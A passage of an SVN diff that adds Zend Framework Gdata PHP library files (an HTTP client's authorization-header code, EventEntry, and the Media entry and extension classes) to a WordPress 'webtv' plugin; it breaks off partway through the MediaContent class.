+                    throw new Zend_Gdata_App_Exception(
+                            'openssl_signing failure - returned false');
+                }
+                // encode signature
+                $encodedSignature = base64_encode($signature);
+
+                // final header
+                $headers['authorization'] = 'AuthSub token="' . $this->getAuthSubToken() . '" ' .
+                                            'data="' . $dataToSign . '" ' .
+                                            'sig="' . $encodedSignature . '" ' .
+                                            'sigalg="rsa-sha1"';
+            } else {
+                // AuthSub without secure tokens
+                $headers['authorization'] = 'AuthSub token="' . $this->getAuthSubToken() . '"';
+            }
+        } elseif ($this->getClientLoginToken() != null) {
+            $headers['authorization'] = 'GoogleLogin auth=' . $this->getClientLoginToken();
+        }
+        return array('method' => $method, 'url' => $url, 'body' => $body, 'headers' => $headers, 'contentType' => $contentType);
+    }
+
+    /**
+     * Method for filtering the HTTP response, though no filtering is
+     * currently done.
+     *
+     * @param Zend_Http_Response $response The response object to filter
+     * @return Zend_Http_Response The filterd response object
+     */
+    public function filterHttpResponse($response) {
+        return $response;
+    }
+
+    /**
+     * Return the current connection adapter
+     *
+     * @return Zend_Http_Client_Adapter_Interface|string $adapter
+     */
+    public function getAdapter()
+    {
+    	return $this->adapter;
+    }
+
+   /**
+     * Load the connection adapter
+     *
+     * @param Zend_Http_Client_Adapter_Interface $adapter
+     * @return void
+     */
+    public function setAdapter($adapter)
+    {
+        if ($adapter == null) {
+            $this->adapter = $adapter;
+        } else {
+        	  parent::setAdapter($adapter);
+        }
+    }
+
+    /**
+     * Set the streamingRequest variable which controls whether we are
+     * sending the raw (already encoded) POST data from a stream source.
+     *
+     * @param boolean $value The value to set.
+     * @return void
+     */
+    public function setStreamingRequest($value)
+    {
+        $this->_streamingRequest = $value;
+    }
+
+    /**
+     * Check whether the client is set to perform streaming requests.
+     *
+     * @return boolean True if yes, false otherwise.
+     */
+    public function getStreamingRequest()
+    {
+        if ($this->_streamingRequest()) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Prepare the request body (for POST and PUT requests)
+     *
+     * @return string
+     * @throws Zend_Http_Client_Exception
+     */
+    protected function _prepareBody()
+    {
+        if($this->_streamingRequest) {
+            $this->setHeaders(self::CONTENT_LENGTH,
+                $this->raw_post_data->getTotalSize());
+            return $this->raw_post_data;
+        }
+        else {
+            return parent::_prepareBody();
+        }
+    }
+
+    /**
+     * Clear all custom parameters we set.
+     *
+     * @return Zend_Http_Client
+     */
+    public function resetParameters()
+    {
+        $this->_streamingRequest = false;
+
+        return parent::resetParameters();
+    }
+
+    /**
+     * Set the raw (already encoded) POST data from a stream source.
+     *
+     * This is used to support POSTing from open file handles without
+     * caching the entire body into memory. It is a wrapper around
+     * Zend_Http_Client::setRawData().
+     *
+     * @param string $data The request data
+     * @param string $enctype The encoding type
+     * @return Zend_Http_Client
+     */
+    public function setRawDataStream($data, $enctype = null)
+    {
+        $this->_streamingRequest = true;
+        return $this->setRawData($data, $enctype);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Kind/EventEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Kind/EventEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Kind/EventEntry.php	(revision 44)
@@ -0,0 +1,427 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * @see Zend_Gdata_Extension_Where
+ */
+require_once 'Zend/Gdata/Extension/Where.php';
+
+/**
+ * @see Zend_Gdata_Extension_When
+ */
+require_once 'Zend/Gdata/Extension/When.php';
+
+/**
+ * @see Zend_Gdata_Extension_Who
+ */
+require_once 'Zend/Gdata/Extension/Who.php';
+
+/**
+ * @see Zend_Gdata_Extension_Recurrence
+ */
+require_once 'Zend/Gdata/Extension/Recurrence.php';
+
+/**
+ * @see Zend_Gdata_Extension_EventStatus
+ */
+require_once 'Zend/Gdata/Extension/EventStatus.php';
+
+/**
+ * @see Zend_Gdata_Extension_Comments
+ */
+require_once 'Zend/Gdata/Extension/Comments.php';
+
+/**
+ * @see Zend_Gdata_Extension_Transparency
+ */
+require_once 'Zend/Gdata/Extension/Transparency.php';
+
+/**
+ * @see Zend_Gdata_Extension_Visibility
+ */
+require_once 'Zend/Gdata/Extension/Visibility.php';
+
+/**
+ * @see Zend_Gdata_Extension_ExtendedProperty
+ */
+require_once 'Zend/Gdata/Extension/ExtendedProperty.php';
+
+/**
+ * @see Zend_Gdata_Extension_OriginalEvent
+ */
+require_once 'Zend/Gdata/Extension/OriginalEvent.php';
+
+/**
+ * @see Zend_Gdata_Extension_EntryLink
+ */
+require_once 'Zend/Gdata/Extension/EntryLink.php';
+
+/**
+ * Data model for the Gdata Event "Kind".  Google Calendar has a separate
+ * EventEntry class which extends this.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Kind_EventEntry extends Zend_Gdata_Entry
+{
+    protected $_who = array();
+    protected $_when = array();
+    protected $_where = array();
+    protected $_recurrence = null;
+    protected $_eventStatus = null;
+    protected $_comments = null;
+    protected $_transparency = null;
+    protected $_visibility = null;
+    protected $_recurrenceException = array();
+    protected $_extendedProperty = array();
+    protected $_originalEvent = null;
+    protected $_entryLink = null;
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_who != null) {
+            foreach ($this->_who as $who) {
+                $element->appendChild($who->getDOM($element->ownerDocument));
+            }
+        }
+        if ($this->_when != null) {
+            foreach ($this->_when as $when) {
+                $element->appendChild($when->getDOM($element->ownerDocument));
+            }
+        }
+        if ($this->_where != null) {
+            foreach ($this->_where as $where) {
+                $element->appendChild($where->getDOM($element->ownerDocument));
+            }
+        }
+        if ($this->_recurrenceException != null) {
+            foreach ($this->_recurrenceException as $recurrenceException) {
+                $element->appendChild($recurrenceException->getDOM($element->ownerDocument));
+            }
+        }
+        if ($this->_extendedProperty != null) {
+            foreach ($this->_extendedProperty as $extProp) {
+                $element->appendChild($extProp->getDOM($element->ownerDocument));
+            }
+        }
+
+        if ($this->_recurrence != null) {
+            $element->appendChild($this->_recurrence->getDOM($element->ownerDocument));
+        }
+        if ($this->_eventStatus != null) {
+            $element->appendChild($this->_eventStatus->getDOM($element->ownerDocument));
+        }
+        if ($this->_comments != null) {
+            $element->appendChild($this->_comments->getDOM($element->ownerDocument));
+        }
+        if ($this->_transparency != null) {
+            $element->appendChild($this->_transparency->getDOM($element->ownerDocument));
+        }
+        if ($this->_visibility != null) {
+            $element->appendChild($this->_visibility->getDOM($element->ownerDocument));
+        }
+        if ($this->_originalEvent != null) {
+            $element->appendChild($this->_originalEvent->getDOM($element->ownerDocument));
+        }
+        if ($this->_entryLink != null) {
+            $element->appendChild($this->_entryLink->getDOM($element->ownerDocument));
+        }
+
+
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gd') . ':' . 'where';
+            $where = new Zend_Gdata_Extension_Where();
+            $where->transferFromDOM($child);
+            $this->_where[] = $where;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'when';
+            $when = new Zend_Gdata_Extension_When();
+            $when->transferFromDOM($child);
+            $this->_when[] = $when;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'who';
+            $who = new Zend_Gdata_Extension_Who();
+            $who ->transferFromDOM($child);
+            $this->_who[] = $who;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'recurrence';
+            $recurrence = new Zend_Gdata_Extension_Recurrence();
+            $recurrence->transferFromDOM($child);
+            $this->_recurrence = $recurrence;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'eventStatus';
+            $eventStatus = new Zend_Gdata_Extension_EventStatus();
+            $eventStatus->transferFromDOM($child);
+            $this->_eventStatus = $eventStatus;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'comments';
+            $comments = new Zend_Gdata_Extension_Comments();
+            $comments->transferFromDOM($child);
+            $this->_comments = $comments;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'transparency';
+            $transparency = new Zend_Gdata_Extension_Transparency();
+            $transparency ->transferFromDOM($child);
+            $this->_transparency = $transparency;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'visibility';
+            $visiblity = new Zend_Gdata_Extension_Visibility();
+            $visiblity ->transferFromDOM($child);
+            $this->_visibility = $visiblity;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'recurrenceException';
+            require_once 'Zend/Gdata/Extension/RecurrenceException.php';
+            $recurrenceException = new Zend_Gdata_Extension_RecurrenceException();
+            $recurrenceException ->transferFromDOM($child);
+            $this->_recurrenceException[] = $recurrenceException;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'originalEvent';
+            $originalEvent = new Zend_Gdata_Extension_OriginalEvent();
+            $originalEvent ->transferFromDOM($child);
+            $this->_originalEvent = $originalEvent;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'extendedProperty';
+            $extProp = new Zend_Gdata_Extension_ExtendedProperty();
+            $extProp->transferFromDOM($child);
+            $this->_extendedProperty[] = $extProp;
+            break;
+        case $this->lookupNamespace('gd') . ':' . 'entryLink':
+            $entryLink = new Zend_Gdata_Extension_EntryLink();
+            $entryLink->transferFromDOM($child);
+            $this->_entryLink = $entryLink;
+            break;
+
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    public function getWhen()
+    {
+        return $this->_when;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setWhen($value)
+    {
+        $this->_when = $value;
+        return $this;
+    }
+
+    public function getWhere()
+    {
+        return $this->_where;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setWhere($value)
+    {
+        $this->_where = $value;
+        return $this;
+    }
+
+    public function getWho()
+    {
+        return $this->_who;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setWho($value)
+    {
+        $this->_who = $value;
+        return $this;
+    }
+
+    public function getRecurrence()
+    {
+        return $this->_recurrence;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setRecurrence($value)
+    {
+        $this->_recurrence = $value;
+        return $this;
+    }
+
+    public function getEventStatus()
+    {
+        return $this->_eventStatus;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setEventStatus($value)
+    {
+        $this->_eventStatus = $value;
+        return $this;
+    }
+
+    public function getComments()
+    {
+        return $this->_comments;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setComments($value)
+    {
+        $this->_comments = $value;
+        return $this;
+    }
+
+    public function getTransparency()
+    {
+        return $this->_transparency;
+    }
+
+    /**
+     * @param Zend_Gdata_Transparency $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setTransparency($value)
+    {
+        $this->_transparency = $value;
+        return $this;
+    }
+
+    public function getVisibility()
+    {
+        return $this->_visibility;
+    }
+
+    /**
+     * @param Zend_Gdata_Visibility $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setVisibility($value)
+    {
+        $this->_visibility = $value;
+        return $this;
+    }
+
+    public function getRecurrenceExcption()
+    {
+        return $this->_recurrenceException;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setRecurrenceException($value)
+    {
+        $this->_recurrenceException = $value;
+        return $this;
+    }
+
+    public function getExtendedProperty()
+    {
+        return $this->_extendedProperty;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setExtendedProperty($value)
+    {
+        $this->_extendedProperty = $value;
+        return $this;
+    }
+
+    public function getOriginalEvent()
+    {
+        return $this->_originalEvent;
+    }
+
+    /**
+     * @param Zend_Gdata_Extension_OriginalEvent $value
+     * @return Zend_Gdata_Kind_EventEntry Provides a fluent interface
+     */
+    public function setOriginalEvent($value)
+    {
+        $this->_originalEvent = $value;
+        return $this;
+    }
+
+    /**
+     * Get this entry's EntryLink element.
+     *
+     * @return Zend_Gdata_Extension_EntryLink The requested entry.
+     */
+    public function getEntryLink()
+    {
+        return $this->_entryLink;
+    }
+
+    /**
+     * Set the child's EntryLink element.
+     *
+     * @param Zend_Gdata_Extension_EntryLink $value The desired value for this attribute.
+     * @return Zend_Gdata_Extension_Who The element being modified.
+     */
+    public function setEntryLink($value)
+    {
+        $this->_entryLink = $value;
+        return $this;
+    }
+
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata
+ */
+require_once 'Zend/Gdata.php';
+
+/**
+ * Service class for interacting with the services which use the media extensions
+ * @link http://code.google.com/apis/gdata/calendar.html
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media extends Zend_Gdata
+{
+
+    /**
+     * Namespaces used for Zend_Gdata_Photos
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('media', 'http://search.yahoo.com/mrss/', 1, 0)
+    );
+
+    /**
+     * Create Gdata_Media object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google Apps servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Media');
+        $this->registerPackage('Zend_Gdata_Media_Extension');
+        parent::__construct($client, $applicationId);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Entry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Entry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Entry.php	(revision 44)
@@ -0,0 +1,133 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Media
+ */
+require_once 'Zend/Gdata/Media.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaGroup
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaGroup.php';
+
+/**
+ * Represents the Gdata flavor of an Atom entry
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Entry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Media_Entry';
+
+    /**
+     * media:group element
+     *
+     * @var Zend_Gdata_Media_Extension_MediaGroup
+     */
+    protected $_mediaGroup = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_mediaGroup != null) {
+            $element->appendChild($this->_mediaGroup->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('media') . ':' . 'group':
+            $mediaGroup = new Zend_Gdata_Media_Extension_MediaGroup();
+            $mediaGroup->transferFromDOM($child);
+            $this->_mediaGroup = $mediaGroup;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Returns the entry's mediaGroup object.
+     *
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+    */
+    public function getMediaGroup()
+    {
+        return $this->_mediaGroup;
+    }
+
+    /**
+     * Sets the entry's mediaGroup object.
+     *
+     * @param Zend_Gdata_Media_Extension_MediaGroup $mediaGroup
+     * @return Zend_Gdata_Media_Entry Provides a fluent interface
+     */
+    public function setMediaGroup($mediaGroup)
+    {
+        $this->_mediaGroup = $mediaGroup;
+        return $this;
+    }
+
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCategory.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCategory.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCategory.php	(revision 44)
@@ -0,0 +1,147 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:category element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaCategory extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'category';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_scheme = null;
+    protected $_label = null;
+
+    /**
+     * Creates an individual MediaCategory object.
+     *
+     * @param string $text      Indication of the type and content of the media
+     * @param string $scheme    URI that identifies the categorization scheme
+     * @param string $label     Human-readable label to be displayed in applications
+     */
+    public function __construct($text = null, $scheme = null, $label = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+        $this->_scheme = $scheme;
+        $this->_label = $label;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_scheme !== null) {
+            $element->setAttribute('scheme', $this->_scheme);
+        }
+        if ($this->_label !== null) {
+            $element->setAttribute('label', $this->_label);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'scheme':
+            $this->_scheme = $attribute->nodeValue;
+            break;
+        case 'label':
+            $this->_label = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Returns the URI that identifies the categorization scheme
+     * Optional.
+     *
+     * @return string URI that identifies the categorization scheme
+     */
+    public function getScheme()
+    {
+        return $this->_scheme;
+    }
+
+    /**
+     * @param string $value     URI that identifies the categorization scheme
+     * @return Zend_Gdata_Media_Extension_MediaCategory Provides a fluent interface
+     */
+    public function setScheme($value)
+    {
+        $this->_scheme = $value;
+        return $this;
+    }
+
+    /**
+     * @return string Human-readable label to be displayed in applications
+     */
+    public function getLabel()
+    {
+        return $this->_label;
+    }
+
+    /**
+     * @param string $value     Human-readable label to be displayed in applications
+     * @return Zend_Gdata_Media_Extension_MediaCategory Provides a fluent interface
+     */
+    public function setLabel($value)
+    {
+        $this->_label = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaContent.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaContent.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaContent.php	(revision 44)
@@ -0,0 +1,521 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the media:content element of Media RSS.
+ * Represents media objects.  Multiple media objects representing
+ * the same content can be represented using a
+ * media:group (Zend_Gdata_Media_Extension_MediaGroup) element.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaContent extends Zend_Gdata_Extension
+{
+    protected $_rootElement = 'content';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_url = null;
+
+    /**
+     * @var int
+     */
+    protected $_fileSize = null;
+
+    /**
+     * @var string
+     */
+    protected $_type = null;
+
+    /**
+     * @var string
+     */
+    protected $_medium = null;
+
+    /**
+     * @var string
+     */
+    protected $_isDefault = null;
+
+    /**
+     * @var string
+     */
+    protected $_expression = null;
+
+    /**
+     * @var int
+     */
+    protected $_bitrate = null;
+
+    /**
+     * @var int
+     */
+    protected $_framerate = null;
+
+    /**
+     * @var int
+     */
+    protected $_samplingrate = null;
+
+    /**
+     * @var int
+     */
+    protected $_channels = null;
+
+    /**
+     * @var int
+     */
+    protected $_duration = null;
+
+    /**
+     * @var int
+     */
+    protected $_height = null;
+
+    /**
+     * @var int
+     */
+    protected $_width = null;
+
+    /**
+     * @var string
+     */
+    protected $_lang = null;
+
+    /**
+     * Creates an individual MediaContent object.
+     */
+    public function __construct($url = null, $fileSize = null, $type = null,
+            $medium = null, $isDefault = null, $expression = null,
+            $bitrate = null, $framerate = null, $samplingrate = null,
+            $channels = null, $duration = null, $height = null, $width = null,
+            $lang = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_url = $url;
+        $this->_fileSize = $fileSize;
+        $this->_type = $type;
+        $this->_medium = $medium;
+        $this->_isDefault = $isDefault;
+        $this->_expression = $expression;
+        $this->_bitrate = $bitrate;
+        $this->_framerate = $framerate;
+        $this->_samplingrate = $samplingrate;
+        $this->_channels = $channels;
+        $this->_duration = $duration;
+        $this->_height = $height;
+        $this->_width = $width;
+        $this->_lang = $lang;
+    }
+
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_url !== null) {
+            $element->setAttribute('url', $this->_url);
+        }
+        if ($this->_fileSize !== null) {
+            $element->setAttribute('fileSize', $this->_fileSize);
+        }
+        if ($this->_type !== null) {
+            $element->setAttribute('type', $this->_type);
+        }
+        if ($this->_medium !== null) {
+            $element->setAttribute('medium', $this->_medium);
+        }
+        if ($this->_isDefault !== null) {
+            $element->setAttribute('isDefault', $this->_isDefault);
+        }
+        if ($this->_expression !== null) {
+            $element->setAttribute('expression', $this->_expression);
+        }
+        if ($this->_bitrate !== null) {
+            $element->setAttribute('bitrate', $this->_bitrate);
+        }
+        if ($this->_framerate !== null) {
+            $element->setAttribute('framerate', $this->_framerate);
+        }
+        if ($this->_samplingrate !== null) {
+            $element->setAttribute('samplingrate', $this->_samplingrate);
+        }
+        if ($this->_channels !== null) {
+            $element->setAttribute('channels', $this->_channels);
+        }
+        if ($this->_duration !== null) {
+            $element->setAttribute('duration', $this->_duration);
+        }
+        if ($this->_height !== null) {
+            $element->setAttribute('height', $this->_height);
+        }
+        if ($this->_width !== null) {
+            $element->setAttribute('width', $this->_width);
+        }
+        if ($this->_lang !== null) {
+            $element->setAttribute('lang', $this->_lang);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+            case 'url':
+                $this->_url = $attribute->nodeValue;
+                break;
+            case 'fileSize':
+                $this->_fileSize = $attribute->nodeValue;
+                break;
+            case 'type':
+                $this->_type = $attribute->nodeValue;
+                break;
+            case 'medium':
+                $this->_medium = $attribute->nodeValue;
+                break;
+            case 'isDefault':
+                $this->_isDefault = $attribute->nodeValue;
+                break;
+            case 'expression':
+                $this->_expression = $attribute->nodeValue;
+                break;
+            case 'bitrate':
+                $this->_bitrate = $attribute->nodeValue;
+                break;
+            case 'framerate':
+                $this->_framerate = $attribute->nodeValue;
+                break;
+            case 'samplingrate':
